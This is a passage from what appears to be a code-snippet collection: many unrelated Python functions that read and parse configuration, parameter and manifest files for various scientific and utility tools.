input['QC_IRIS'] = config.get('QC', 'QC_IRIS')\n input['QC_ARC'] = config.get('QC', 'QC_ARC')\n \n input['email'] = config.get('email', 'email')\n input['email_address'] = config.get('email', 'email_address')\n \n input['report'] = config.get('report', 'report')\n \n input['corr_unit'] = config.get('instrument_correction', 'corr_unit')\n input['pre_filt'] = config.get('instrument_correction', 'pre_filter')\n \n input['plt_event'] = config.get('ObsPyPT', 'plot_event')\n input['plt_sta'] = config.get('ObsPyPT', 'plot_sta')\n input['plt_ray'] = config.get('ObsPyPT', 'plot_ray')\n\n input['llcrnrlon'] = config.getfloat('ObsPyPT', 'llcrnrlon')\n input['urcrnrlon'] = config.getfloat('ObsPyPT', 'urcrnrlon')\n input['llcrnrlat'] = config.getfloat('ObsPyPT', 'llcrnrlat')\n input['urcrnrlat'] = config.getfloat('ObsPyPT', 'urcrnrlat')\n \n input['lon_0'] = config.getfloat('ObsPyPT', 'lon_0')\n input['lat_0'] = config.getfloat('ObsPyPT', 'lat_0')","def _read_config(filename):\n\n c = {}\n with open(filename, \"r\") as f:\n for line in f:\n key, val = line.split(\"=\")\n key = key.strip()\n val = val.strip()\n c[key] = val\n return c","def parse(configs_file):\n if not configs_file:\n dir_path = os.path.dirname(os.path.realpath(__file__))\n configs_file = os.path.join(dir_path, 'my_bb_configs.ini')\n\n print('Loading configs: ' + configs_file)\n # parser = ConfigParser(interpolation=ExtendedInterpolation())\n # parser.read(configs_file)\n\n # return parser","def parse_conf(self):\n\n parser = configparser.RawConfigParser()\n parser.read(self.filename)\n\n try:\n self.id_node = parser['CONF_MACHINE']['ID_NODE']\n\n # eliminate possible white spaces between metrics\n temp = parser['CONF_MACHINE']['METRICS'].split(',')\n for itr in temp:\n self.metrics.append(itr.strip())\n\n except Exception:\n raise Exception(\"missing id or metrics\")\n\n try:\n self.interval = parser['CONF_MAHCINE']['INTERVAL']\n except Exception:\n self.interval = 1\n\n try:\n self.ampq_url = parser['ampq']['url']\n self.ampq_port = parser['ampq']['port']\n self.ampq_vhost = parser['ampq']['vhost']\n self.ampq_user = parser['ampq']['user']\n self.ampq_password = parser['ampq']['password']\n except Exception:\n raise Exception(\"missing ampq configs\")","def parse_params(filename):\n\n all_dicts = []\n\n with open(filename) as f:\n\n for line in f:\n\n params = line.strip().split()\n\n temp_dict = {\"die\": float(params[0])}\n\n temp_dict.update({i: float(params[i]) for i in range(1, 7)})\n\n all_dicts.append(temp_dict)\n\n f.close()\n\n return all_dicts","def parse_byblo_conf_file(path):\n with open(path) as infile:\n lines = ' '.join([x.strip() for x in infile.readlines()])\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-o\", '--output', type=str)\n parser.add_argument(\"-i\", '--input', type=str)\n parser.add_argument(\"-fef\", '--filter-entry-freq', type=int)\n parser.add_argument(\"-fff\", '--filter-feature-freq', type=int)\n parser.add_argument('--stages', type=str)\n args = parser.parse_known_args(lines.split(' '))\n return args","def _read_config(filename):\n parser = configparser.RawConfigParser()\n if filename and not parser.read(filename):\n sys.stderr.write(\"Unable to open configuration file %s. Use --config='' to disable this warning.\\n\" % filename)\n\n config = {}\n\n for section, defaults in BASE_CONFIG.items():\n # Patterns are handled separately\n if section == 'patterns':\n continue\n\n for name, descr in defaults.items():\n kind, default = descr\n if section in parser.sections() and name in parser.options(section):\n if kind == 'int':\n value = parser.getint(section, name)\n elif kind == 'float':\n value = parser.getfloat(section, name)\n elif kind == 'bool':\n value = parser.getboolean(section, name)\n else:\n value = parser.get(section, name)\n else:\n value = default\n config[name] = value\n\n if 'patterns' in parser.sections():\n patterns = [parser.get('patterns', opt) for opt in parser.options('patterns')]\n else:\n patterns = DEFAULT_PATTERNS\n config['patterns'] = patterns\n\n return config","def parseConfigFile(self, config_file_path):\n parser = configparser.SafeConfigParser()\n parser.read(config_file_path)\n self.seuil_snr = int(parser.get('seuils', 'snr'))\n self.seuil_elev_sat = int(parser.get('seuils', 'sat_elevation'))\n\n # nav data path\n self.nav_data_file = parser.get('data', 'nav')\n\n print(self.nav_data_file)\n\n # obs data paths\n self.obs_data_file = parser.get('data', 'obs').split(\",\")\n\n print(self.obs_data_file)","def read_params(fname):\n f = open(fname, 'r')\n par = {} #output\n for i in range(10): # esta dentro de las primeras 10 lineas\n l = f.readline().split()\n #print \" ---> \", l\n number = u'%s' % l[-1] # presumably a number\n if not number.replace('.','').replace('-','').isnumeric():\n if l[0]=='#####':\n break\n else:\n continue # we proceed ONLY IF this is numeric string\n #print ' FIRST: ', l[0]\n if l[0]=='#####':\n #print \"IM I HERE????\"\n break # end of header\n\n name = l[1][:-1] # l[0] es '#', y -1 para comernos el \":\"\n value = np.float(l[2]) # l[2] es el valor\n par[name] = value\n\n return par","def parse_cfg(cfgfile):\n file = open(cfgfile, \"r\")\n lines = file.read().split(\"\\n\") # store the lines in a list\n lines = [x for x in lines if len(x) > 0] # get read of the empty lines \n lines = [x for x in lines if x[0] != \"#\"] # get rid of comments\n lines = [x.rstrip().lstrip() for x in lines] # get rid of fringe whitespaces\n\n block = {}\n blocks = []\n\n for line in lines:\n if line[0] == \"[\":\n if len(block) != 0:\n blocks.append(block)\n block = {}\n block[\"type\"] = line[1:-1].rstrip()\n else:\n key, value = line.split(\"=\")\n block[key.rstrip()] = value.lstrip()\n blocks.append(block)\n return blocks","def f_read_adr_parameters_from_csv_file(parameters_file):\n parameters_dict = {}\n file = open(parameters_file, \"r\")\n for line in file:\n if line.strip().startswith('#'):\n pass\n else:\n line = line.strip().replace(' ', '').split(',')\n parameters_dict[\"operation_mode_num\"] = line[0]\n parameters_dict[\"FFT_size_samples\"] = line[1]\n parameters_dict[\"spectra_averaging\"] = line[2]\n parameters_dict[\"start_line_freq\"] = line[3]\n parameters_dict[\"width_line_freq\"] = line[4]\n parameters_dict[\"clock_source\"] = line[5]\n parameters_dict[\"sum_diff_mode_num\"] = line[6]\n parameters_dict[\"chan_diff_delay\"] = line[7]\n parameters_dict[\"data_file_size\"] = line[8]\n\n return parameters_dict","def __analyze_config(self):\n result = {}\n with open(self.file) as f:\n data = f.readlines()\n temp_key = ''\n for line in data:\n if line[0] == '\t' or line[0] == ';':\n result[temp_key].append(line.strip())\n else:\n temp_key = line.strip()\n result[temp_key] = []\n return result","def config_parse_file():\n global ANGELCO_EMAIL, ANGELCO_PASSWORD\n\n print(\"Parsing the config file...\")\n config = configparser.ConfigParser()\n with open('dwh.cfg') as configfile:\n config.read_file(configfile)\n\n ANGELCO_EMAIL = config.get('ANGELCO', 'EMAIL')\n ANGELCO_PASSWORD = config.get('ANGELCO', 'PASSWORD')","def config_dict(filename):\n f = open(filename, \"r\")\n cfglines = f.readlines()\n f.close()\n cfgdict = {}\n for line in cfglines:\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n try:\n key, value = line.split(\"=\")\n except:\n print \"Bad line in config-file %s:\\n%s\" % (filename, line)\n continue\n key = key.strip()\n value = value.strip()\n if value in [\"True\", \"False\", \"None\", \"''\", '\"\"']:\n value = eval(value)\n else:\n try:\n if \".\" in value:\n value = float(value)\n else:\n value = int(value)\n except:\n pass # value need not be converted\n cfgdict[key] = value\n return cfgdict","def load_filter(filename):\n # parse config file\n if not os.path.isfile(filename):\n raise IOError('File \"%s\" does not exist' % filename)\n try:\n f = open(filename)\n except IOError:\n raise IOError('Could not open file \"%s\"' % filename)\n\n cfg_items = []\n for (i, line) in enumerate(f):\n try:\n # remove all comments and unnecessary whitespace\n normalizer = shlex.shlex(line)\n normalizer.wordchars += '.-'\n normal_line = ' '.join([t for t in normalizer])\n if normal_line:\n # split up normalized line and build dictionary\n cfg_item = {}\n for part in normal_line.split(','):\n cfg_split = shlex.split(part)\n key = cfg_split.pop(0)\n value = cfg_split\n cfg_item[key] = value\n cfg_items.append(cfg_item)\n except (IndexError, ValueError):\n raise RuntimeError( \\\n 'Could not parse line %i of file \"%s\"' % (i, filename))\n\n # look for global bit settings\n bits_global = None\n factor_bits_global = None\n norm_bits_global = None\n for cfg_item in cfg_items:\n if 'bits_global' in cfg_item:\n if bits_global is None:\n [bits_global] = cfg_item.pop('bits_global')\n bits_global = int(bits_global)\n else:\n raise RuntimeError( \\\n 'bits_global must not be specified more than once')\n if 'factor_bits_global' in cfg_item:\n if factor_bits_global is None:\n [factor_bits_global] = cfg_item.pop('factor_bits_global')\n factor_bits_global = int(factor_bits_global)\n else:\n raise RuntimeError( \\\n 'factor_bits_global must not be specified more than once')\n if 'norm_bits_global' in cfg_item:\n if norm_bits_global is None:\n [norm_bits_global] = cfg_item.pop('norm_bits_global')\n norm_bits_global = int(norm_bits_global)\n else:\n raise RuntimeError( \\\n 'norm_bits_global must not be specified more than once')\n\n # remove empty items from cfg_items, only node definitions should be left\n cfg_items = filter(None, cfg_items)\n\n # look for filter nodes\n filter_nodes = {}\n adjacency = {}\n input_node = None\n output_node = None\n for cfg_item in cfg_items:\n # mandatory settings\n try:\n [node] = cfg_item['node']\n except KeyError:\n raise RuntimeError('Node type not specified')\n try:\n [name] = cfg_item['name']\n except KeyError:\n raise RuntimeError('Name not specified')\n # optional settings\n if 'bits' in cfg_item:\n [bits] = map(int, cfg_item['bits'])\n else:\n bits = bits_global\n if 'connect' in cfg_item:\n connect = cfg_item['connect']\n else:\n connect = []\n if 'input' in cfg_item:\n if input_node is None:\n input_node = name\n else:\n raise RuntimeError('More than one input node specified')\n if 'output' in cfg_item:\n if output_node is None:\n output_node = name\n else:\n raise RuntimeError('More than one output node specified')\n\n # make filter node\n if name not in filter_nodes:\n if bits is not None:\n if node == 'Const':\n filter_nodes[name] = Const(bits)\n elif node == 'Add':\n filter_nodes[name] = Add(bits)\n elif node == 'Delay':\n filter_nodes[name] = Delay(bits)\n elif node == 'Multiply':\n if 'factor_bits' in cfg_item:\n [factor_bits] = cfg_item['factor_bits']\n factor_bits = int(factor_bits)\n else:\n factor_bits = factor_bits_global\n if 'norm_bits' in cfg_item:\n [norm_bits] = cfg_item['norm_bits']\n norm_bits = int(norm_bits)\n else:\n norm_bits = norm_bits_global\n if (factor_bits is not None and norm_bits is not None):\n filter_nodes[name] = Multiply(\n bits, factor_bits, norm_bits)\n if 'factor' in cfg_item:\n [factor] = cfg_item['factor']\n factor = float(factor)\n filter_nodes[name].set_factor(factor, norm=True)\n else:\n raise ValueError('Unknown node type: %s' % node)\n else:\n raise RuntimeError('Number of bits for node \"%s\" not specified' \\\n % name)\n adjacency[name] = connect\n else:\n raise RuntimeError('Node \"%s\" already present' % name)\n\n # make filter\n if input_node is None:\n raise RuntimeError('No input node specified')\n elif output_node is None:\n raise RuntimeError('No output node specified')\n else:\n return Filter(filter_nodes, adjacency, input_node, output_node)","def parse_config_file(filename):\n config = {\n 'TREES': {},\n 'ALIASES': {},\n }\n\n try:\n config = _load_python_file(filename, config)\n except SyntaxError as e:\n raise Exception('Syntax error in config file: %s\\n'\n 'Line %i offset %i\\n'\n % (filename, e.lineno, e.offset))\n\n return dict((k, config[k])\n for k in set(config.keys()) - set(builtin.keys()))","def read_config_file(fn):\n config = dict()\n with open(fn) as f:\n for line in f.readlines():\n line = line.rstrip() # remove newline character\n \n # skip blank lines and comment lines\n if not line or line[0]=='#':\n continue\n \n # remove inline comments\n ind = line.find('#')\n if ind != -1:\n line = line[:ind].strip()\n \n # parse\n if '=' in line:\n line_parts = line.split('=')\n else:\n line_parts = line.split(' ')\n if len(line_parts) != 2:\n print('Could not parse line', line, ', skipping...')\n continue\n \n # cast to appropriate type\n key, val_str = line_parts[0].strip(), line_parts[1].strip()\n try:\n config[key] = int(val_str)\n except ValueError:\n try:\n config[key] = float(val_str)\n except ValueError:\n config[key] = val_str.replace('\"','')\n\n return config","def parse_config(filename):\n\n output = []\n\n root = parse(filename).getroot()\n\n for graph in root.findall('graph'):\n output.append({\n 'output': graph.get('output'),\n 'legend': graph.get('legend'),\n\n 'title': graph.get('title'),\n 'xlabel': graph.get('xlabel'),\n 'ylabel': graph.get('ylabel'),\n\n 'metrics': []\n })\n\n for metric in graph.findall('metric'):\n output[-1]['metrics'].append({\n 'label': metric.get('label'),\n\n 'color': metric.get('color'),\n\n 'func': metric.get(\"func\"),\n\n 'x_stream': metric.get('x_stream'),\n 'y_stream': metric.get('y_stream'),\n 'z_stream': metric.get('z_stream')\n })\n\n return output","def _handleAnswerFileParams(answerFile):\n try:\n logging.debug(\"Starting to handle config file\")\n\n # Read answer file\n fconf = ConfigParser.ConfigParser()\n fconf.read(answerFile)\n\n # Iterate all the groups and check the pre/post conditions\n for group in controller.getAllGroups():\n # Get all params per group\n\n # Handle pre conditions for group\n preConditionValue = True\n if group.getKey(\"PRE_CONDITION\"):\n preConditionValue = _handleGroupCondition(fconf, group.getKey(\"PRE_CONDITION\"), preConditionValue)\n\n # Handle pre condition match with case insensitive values\n logging.info(\"Comparing pre- conditions, value: '%s', and match: '%s'\" % (preConditionValue, group.getKey(\"PRE_CONDITION_MATCH\")))\n if utils.compareStrIgnoreCase(preConditionValue, group.getKey(\"PRE_CONDITION_MATCH\")):\n for param in group.getAllParams():\n _loadParamFromFile(fconf, \"general\", param.getKey(\"CONF_NAME\"))\n\n # Handle post conditions for group only if pre condition passed\n postConditionValue = True\n if group.getKey(\"POST_CONDITION\"):\n postConditionValue = _handleGroupCondition(fconf, group.getKey(\"POST_CONDITION\"), postConditionValue)\n\n # Handle post condition match for group\n if not utils.compareStrIgnoreCase(postConditionValue, group.getKey(\"POST_CONDITION_MATCH\")):\n logging.error(\"The group condition (%s) returned: %s, which differs from the excpeted output: %s\"%\\\n (group.getKey(\"GROUP_NAME\"), postConditionValue, group.getKey(\"POST_CONDITION_MATCH\")))\n raise ValueError(output_messages.ERR_EXP_GROUP_VALIDATION_ANS_FILE%\\\n (group.getKey(\"GROUP_NAME\"), postConditionValue, group.getKey(\"POST_CONDITION_MATCH\")))\n else:\n logging.debug(\"condition (%s) passed\" % group.getKey(\"POST_CONDITION\"))\n else:\n logging.debug(\"no post condition check for group %s\" % group.getKey(\"GROUP_NAME\"))\n else:\n logging.debug(\"skipping params group %s since value of group validation is %s\" % (group.getKey(\"GROUP_NAME\"), preConditionValue))\n\n except Exception as e:\n logging.error(traceback.format_exc())\n raise Exception(output_messages.ERR_EXP_HANDLE_ANSWER_FILE%(e))","def parse(filename):\n with open(filename) as file:\n contents = file.read()\n lines = contents.split(\"\\n\") # Python reads all endings by default as \\n\n res = {}\n for line in lines:\n if line.startswith(\"#\") or line == \"\":\n continue\n x = line.split(\":\")\n if x[1] != '':\n res[int(x[0])] = x[1]\n return res","def parseconfig(conf, rate, loopnum):\n global parsesetting, math\n\n ch1n = int(conf[0][0])\n ch2n = int(conf[0][1])\n nparam = int(conf[0][2])\n ch1start = 2\n ch2start = ch1start + ch1n*nparam + 1\n\n # intervals = int(math.ceil(totalt * rate))\n result = [[]] * (ch1n + ch2n)\n\n maxlength = -1\n for i in range(ch1n):\n idx = ch1start + i * nparam\n values = parsesetting(conf[idx:idx+nparam], rate, loopnum)\n result[i] = list(values)\n maxlength = max(len(values), maxlength)\n for i in range(ch2n):\n idx = ch2start + i * nparam\n values = parsesetting(conf[idx:idx+nparam], rate, loopnum)\n result[ch1n+i] = list(values)\n maxlength = max(len(values), maxlength)\n\n # Equalize the results' length\n for i in range(len(result)):\n result[i] += [result[i][-1]] * (maxlength - len(result[i]))\n\n return result","def parse_arguments():\n global CONFIG_FILE\n\n # Parse any conf_file specification\n # add_help=False so it doesn't parse -h and print help.\n conf_parser = argparse.ArgumentParser(\n description=__doc__, # printed with -h/--help\n formatter_class=argparse.RawDescriptionHelpFormatter,\n # Turn off help, to print all options in response to -h\n add_help=False\n )\n conf_parser.add_argument(\"-c\", dest='conf_file', default=CONFIG_FILE,\n help=\"Specify config file\", metavar=\"FILE\")\n args, remaining_argv = conf_parser.parse_known_args()\n defaults = {}\n if args.conf_file:\n try:\n with open(args.conf_file) as f:\n config = json.load(f)\n defaults.update({k.lower(): v for k, v in config.items()})\n except FileNotFoundError:\n print('Config file not found: ' + args.conf_file)\n except json.decoder.JSONDecodeError:\n print('Config file parsing failed. Please format it as json object')\n\n # Parse the rest of arguments\n parser = argparse.ArgumentParser(parents=[conf_parser])\n parser.set_defaults(**defaults)\n parser.add_argument('--name', help='REQUIRED Directory name for the Phabricator source')\n parser.add_argument('--url', help='REQUIRED Phabricator api URL')\n parser.add_argument('--token', help='REQUIRED Phabricator api token')\n parser.add_argument('--basedir', default='./phabry_data/',\n help='Base directory name')\n parser.add_argument('--start', help='Start date dd-mm-yyyy')\n parser.add_argument('--end', help='End date dd-mm-yyyy')\n args = parser.parse_args(remaining_argv)\n if None in (args.name, args.url, args.token):\n parser.print_help()\n print(\"phabry.py: error: the following arguments are required:\", end='')\n if args.name is None:\n print(\" --name\", end='')\n if args.url is None:\n print(\" --url\", end='')\n if args.token is None:\n print(\" --token\", end='')\n exit()\n if args.start:\n start_date = datetime.datetime.strptime(args.start, '%d-%m-%Y')\n args.start = int(start_date.replace(tzinfo=datetime.timezone.utc).timestamp())\n else:\n args.start = None\n\n if args.end:\n end_date = datetime.datetime.strptime(args.end, '%d-%m-%Y')\n args.end = int(end_date.replace(tzinfo=datetime.timezone.utc).timestamp())\n else:\n args.end = None\n\n return args","def makeGcauCfgDictFromAgc(lineList): \r\n diction = {}\r\n withinCfgData = False\r\n for eachString in lineList:\r\n if re.match(RE_COMPILED_CFG_START, eachString):\r\n withinCfgData = True\r\n elif re.match(RE_COMPILED_CFG_END, eachString):\r\n withinCfgData = False\r\n elif withinCfgData:\r\n p = re.match(RE_COMPILED_CFG_ITEM, eachString)\r\n if p:\r\n obj = p.groups()[0]\r\n attr = p.groups()[1]\r\n val = p.groups()[2]\r\n if obj not in diction:\r\n diction[obj] = {}\r\n diction[obj][attr] = val\r\n return diction","def readConfig(file=\"config.ini\"):\n ip_pool = []\n cmd_pool = []\n Config=ConfigParser.ConfigParser()\n Config.read(file)\n machines = Config.items(\"MACHINES\")\n commands = Config.items(\"COMMANDS\")\n for ip in machines:\n ip_pool.append(ip[1])\n for cmd in commands:\n cmd_pool.append(cmd[1])\n print cmd[1]\n return ip_pool,cmd_pool","def read_settings(self, settings_file):\n import configparser\n import itertools\n cfg = configparser.ConfigParser()\n filename = settings_file\n with open(filename) as fp:\n cfg.read_file(itertools.chain(['[global]'], fp), source=filename)\n d = {}\n for c in cfg.items('global'):\n try:\n d[c[0]] = eval(c[1].strip(';'))\n except Exception:\n pass\n self.distance = d['parameters.distance']\n self.a, self.b, self.c, alpha, beta, gamma = d['parameters.unitcell']\n self.alpha, self.beta, self.gamma = (\n alpha*degrees, beta*degrees, gamma*degrees)\n ubmat = np.matrix(d['parameters.ubmat'])\n self.Umat = ubmat * self.Bimat\n self.xc = d['parameters.det0x']\n self.yc = d['parameters.det0y']\n self.pitch = d['parameters.orienterrordetpitch'] * degrees\n self.roll = d['parameters.orienterrordetroll'] * degrees\n self.yaw = d['parameters.orienterrordetyaw'] * degrees\n self.theta = d['parameters.orienterrorgonpitch'] * degrees\n self.omega = d['parameters.omeganom'] * degrees\n self.chi = d['parameters.chinom'] * degrees\n self.phi = d['parameters.phinom'] * degrees\n self.phi_step = d['parameters.phistep'] * degrees\n self.h_start, self.k_start, self.l_start = d['parameters.gridorigin']\n self.h_stop, self.k_stop, self.l_stop = [-v\n for v in d\n ['parameters.gridorigin']]\n hs, ks, ls = d['parameters.griddim']\n self.h_step, self.k_step, self.l_step = [1.0/hs, 1.0/ks, 1.0/ls]\n self.h_shape, self.k_shape, self.l_shape = d['outputdata.dimensions']","def get_configs(candidate_filename):\n return (sortby('name')(haresources2.load(haresources2_file)),\n sortby('name')(crmdict2haresources(crm2dict(configure_parse()))))","def _parse_config_args(args):\r\n config_dict = dict()\r\n for config_str in args:\r\n try:\r\n components = config_str.split('=')\r\n if len(components) >= 2:\r\n config_dict[components[0]] = \"=\".join(components[1:])\r\n\r\n except:\r\n print \"Warning: could not interpret config value '{0}'\".format(config_str)\r\n pass\r\n\r\n return config_dict","def iniparse(filename, flat=True):\n config = ConfigParser.RawConfigParser()\n config.read(filename)\n\n params = {}\n for section in config.sections():\n if not flat:\n params[section] = {}\n for key, value in config.items(section):\n try:\n eval_val = ast.literal_eval(value)\n except (SyntaxError, ValueError):\n eval_val = value\n\n if flat:\n params[key] = eval_val\n else:\n params[section][key] = eval_val\n\n return params","def parse_conf(cls, name, conf):\n return {'chunk_read': conf.get_int(name, 'chunk_read', 65536)}","def parse_cfg(cfgfile):\n file = open(cfgfile, 'r')\n lines = file.read().split('\\n') # store the lines in a list\n lines = [x for x in lines if len(x) > 0] # skip empty lines\n lines = [x for x in lines if x[0] != '#'] # skip comment\n lines = [x.rstrip().lstrip() for x in lines]\n file.close()\n\n block = {}\n blocks = []\n\n for line in lines:\n if line[0] == \"[\": # This marks the start of a new block\n if len(block) != 0:\n blocks.append(block)\n block = {}\n block['type'] = line[1:-1].rstrip()\n else:\n key, value = line.split(\"=\")\n block[key.rstrip()] = value.lstrip()\n blocks.append(block)\n\n return blocks","def parse_config(args):\n if args.get('--config-file'):\n config = parse_config_file(args.get('--config-file'))\n else:\n config = {\n 'oauth_token': args['--oauth-token'],\n 'channel_name': args['--channel-name'],\n 'cmd_rate': args['--cmd-rate'],\n 'sleep_rate': args['--sleep-rate'],\n }\n\n return config","def parse_config(config_file_name):\n\n config = ConfigParser.ConfigParser()\n config.read(config_file_name)\n main_cfg_section = config.sections()[0]\n\n options = config.options(main_cfg_section)\n results = {}\n for option in options:\n try:\n results[option] = config.get(main_cfg_section, option)\n except:\n print('exception on %s!' % option)\n results[option] = None\n return results","def parse_config(self, file):\n try:\n self.logger.debug(\"parsing config file: {}\".format(file))\n config = configparser.ConfigParser()\n config.read(file)\n self._blizzard_clientid = config['blizzard']['blizzard_clientid']\n self._blizzard_clientsecret = config['blizzard']['blizzard_clientsecret']\n self._db_filename = config['blizzard']['db_filename']\n except Exception as e:\n self.logger.error('Exception reading config from: {}'.Format(file))\n self.logger.error(str(e))\n raise","def parse_parameters_file(lines):\n param_dict = {}\n for line in lines:\n line = line.strip()\n if line:\n (param, values) = line.split('\\t')\n param_dict[param] = values.split(',')\n return param_dict","def _read_config(config_path):\n hyperparameters = {}\n\n config_df = pd.read_csv(config_path)\n for _, row in config_df.iterrows():\n # Randomly initialize a hyperparameter using the search space from the config file\n hyperparameter_name = str(row['name'])\n min_value = float(row['min'])\n max_value = float(row['max'])\n search_scale = str(row['scale'])\n\n if search_scale == 'log':\n # Sample randomly along a logarithm search scale\n min_exp = math.log(min_value, 10)\n max_exp = math.log(max_value, 10)\n random_exp = min_exp + random.random() * (max_exp - min_exp)\n hyperparameter_value = 10 ** random_exp\n elif search_scale == 'linear':\n # Sample randomly along a linear search scale\n hyperparameter_value = min_value + random.random() * (max_value - min_value)\n else:\n raise ValueError('Expected \"log\" or \"linear\" search scale, got \"{}\"'.format(search_scale))\n\n hyperparameters[hyperparameter_name] = hyperparameter_value\n\n return hyperparameters","def _read_config_file(self):\n wcec = 0\n deadline = 0\n jitter = 0\n init_freq = 0\n freqs_volt = {}\n freqs = []\n volts = []\n config_file_name = self._find_file('sim_simple.config')\n with open(config_file_name, 'rU') as f:\n lines = f.readlines()\n try:\n for freq in lines[0].split():\n freqs.append(float(freq))\n\n for volt in lines[1].split():\n volts.append(float(volt))\n\n for i in range(0, len(freqs)):\n freqs_volt[freqs[i]] = volts[i]\n\n data = lines[2].split()\n wcec = float(data[0])\n deadline = float(data[1])\n period = float(data[2])\n jitter = float(data[3])\n init_freq = float(data[4])\n except ValueError, IndexError:\n print 'Invalid data in config file'\n sys.exit(1)\n\n return wcec, deadline, period, jitter, init_freq, freqs_volt","def parse(self, content):\n self._sections = {}\n self._filters = []\n section = None\n\n def error(msg):\n print('autodl.cfg: line {}: {}'.format(i + 1, msg))\n # log('autodl.cfg: line {}: {}'.format(i + 1, msg))\n\n first_prog = re.compile(ur'^\\[\\s*([\\w\\-]+)\\s*(?:([^\\]]+))?\\s*]$')\n second_prog = re.compile(ur'^([\\w\\-]+)\\s*=(.*)$')\n lines = content['data'].split('\\n')\n for line in lines:\n i = 0\n line = line.strip()\n if line == '':\n continue\n\n first_array = first_prog.match(line)\n second_array = second_prog.match(line)\n if line[0] == '#':\n if section:\n section.add_comment(line)\n elif first_array:\n _type = first_array.group(1).strip().lower()\n try:\n _name = first_array.group(2).strip().lower()\n except AttributeError:\n _name = None\n section = self.get_section(_type, _name)\n elif second_array:\n if section is None:\n error('Missing a [section]')\n else:\n _option = second_array.group(1).strip().lower()\n _value = second_array.group(2).strip().lower()\n section.add_option(_option, _value)\n else:\n error('Ignoring line')\n i += 1","def parse_file(input_file, start_date = datetime(1970,1,1), end_date = datetime(9999,12,31,23,59,59), backup_stamps = None):\n logging.debug(\"Beginning parse_file {}\".format(input_file))\n config = ConfigParser.ConfigParser()\n \n # C est moche mais dans notre cas c est suffirant\n logging.debug(\"Openning file\")\n if input_file.endswith(\".manifest.gz\"): \n try:\n f = gzip.open(input_file, 'rb')\n config.readfp(f)\n except IOError as e:\n logging.error(\"Failed to acess file\", exc_info=True)\n exit(1)\n except:\n raise\n elif input_file.endswith(\".manifest\"):\n try:\n f = open(input_file, 'r')\n config.readfp(f)\n except IOError as e:\n logging.error(\"Failed to acess file\", exc_info=True)\n exit(1)\n except:\n raise\n else:\n logging.error(\"Invalid File\", exc_info=True)\n exit(1)\n \n # Load Backup infos \n info = {}\n info[\"file\"] = input_file\n info[\"backup_size\"] = 0\n info[\"partial_backup_size\"] = 0\n info[\"original_size\"] = 0\n info[\"partial_original_size\"] = 0\n info[\"backup_items\"] = 0\n try:\n logging.debug(\"Fetching backrest info\")\n info[\"backrest_version\"] = config.get(\"backrest\",\"backrest-version\")\n \n logging.debug(\"Fetching backup info\")\n info[\"backup_archive_start\"] = config.get(\"backup\",\"backup-archive-start\")\n info[\"backup_archive_stop\"] = config.get(\"backup\",\"backup-archive-stop\")\n info[\"backup_lsn_start\"] = config.get(\"backup\",\"backup-lsn-start\")\n info[\"backup_lsn_start\"] = config.get(\"backup\",\"backup-lsn-start\")\n info[\"backup_label\"] = config.get(\"backup\", \"backup-label\")\n info[\"backup_type\"] = config.get(\"backup\", \"backup-type\")\n if info[\"backup_type\"] != \"\\\"full\\\"\":\n try:\n info[\"backup_prior\"] = config.get(\"backup\", \"backup-prior\")\n except:\n raise\n else:\n info[\"backup_prior\"] = None\n\n drift = 2\n info[\"backup_timestamp_start\"] = config.get(\"backup\", \"backup-timestamp-start\")\n info[\"backup_timestamp_start_ts\"] = datetime(1970,1,1) + timedelta(hours=drift, seconds=int(info[\"backup_timestamp_start\"]))\n info[\"backup_timestamp_stop\"] = config.get(\"backup\", \"backup-timestamp-stop\")\n info[\"backup_timestamp_stop_ts\"] = datetime(1970,1,1) + timedelta(hours=drift, seconds=int(info[\"backup_timestamp_stop\"]))\n \n logging.debug(\"Fetching db info\")\n info[\"db_system_id\"] = config.get(\"backup:db\",\"db-system-id\")\n info[\"db_version\"] = config.get(\"backup:db\",\"db-version\")\n except KeyError:\n logging.error(\"Wrong key in manifest file\", exc_info=True)\n exit(1)\n except ConfigParser.NoSectionError:\n logging.error(\"Wrong section in manifest file\", exc_info=True)\n exit(1)\n\n logging.debug(\"Check dates {} [{}; {}]\".format(info[\"backup_timestamp_start_ts\"],start_date ,end_date))\n if info[\"backup_timestamp_start_ts\"] <= start_date:\n return None\n\n if info[\"backup_timestamp_start_ts\"] >= end_date:\n return None\n\n logging.debug(\"Item processing\")\n for item in config.items(\"target:file\"):\n parsed_item = json.loads(item[1])\n \n tmp_ts = datetime(1970,1,1) + timedelta(hours=drift, seconds=int(parsed_item[\"timestamp\"]))\n\n info[\"backup_items\"] += 1\n try:\n info[\"backup_size\"] += parsed_item[\"repo-size\"]\n except KeyError:\n pass\n\n if backup_stamps and info[\"backup_prior\"] and backup_stamps[info[\"backup_prior\"]] <= tmp_ts:\n info[\"partial_backup_size\"] += parsed_item[\"repo-size\"]\n\n try:\n info[\"original_size\"] += parsed_item[\"size\"]\n except KeyError:\n pass\n\n if backup_stamps and info[\"backup_prior\"] and backup_stamps[info[\"backup_prior\"]] <= tmp_ts:\n info[\"partial_original_size\"] += parsed_item[\"size\"]\n \n if info[\"backup_type\"] == \"\\\"full\\\"\":\n info[\"partial_backup_size\"] = info[\"backup_size\"]\n info[\"partial_original_size\"] = info[\"original_size\"]\n\n try:\n info[\"compression\"] = 100 * (int(info[\"partial_original_size\"]) - int(info[\"partial_backup_size\"])) / int(info[\"partial_original_size\"])\n except ZeroDivisionError:\n # case where we scan a incremental backup manifest alone\n info[\"compression\"] = 0\n \n logging.debug(\"End parse_file\")\n return info","def read_config_file(self, **kwargs):\n if 'config_filename' in kwargs:\n self.config_filename = kwargs['config_filename']\n self.file_parser.read(self.config_filename)\n self.__get_options()\n self.__get_implementations()\n self.__get_configurations()\n self.consistency_check()\n for opt, opt_desc in self.opt_dict.iteritems():\n self.optypelist.append((opt, opt_desc['imptype']))\n\n for imptype in self.imp_dict.keys():\n if 'none' not in self.imp_dict[imptype]:\n self.imp_dict[imptype].insert(0, 'none')","def get_config(self): # To support serialization\n return {\"min value\": self.minval, \"max value\": self.maxval}","def parse(cls, value: str) -> Tuple[str, Dict[str, str]]:\n raw_value = read_value_from_path(value)\n args: Dict[str, str] = {}\n\n if \"@\" in raw_value:\n args[\"region\"], raw_value = raw_value.split(\"@\", 1)\n\n # now find any other arguments that can be filters\n matches = re.findall(r\"([0-9a-zA-z_-]+:[^\\s$]+)\", raw_value)\n for match in matches:\n k, v = match.split(\":\", 1)\n args[k] = v\n\n return args.pop(\"name_regex\"), args","def parse_configuration_file(config_file):\n try:\n parser = parser_bnf()\n result = parser.parseFile(config_file, 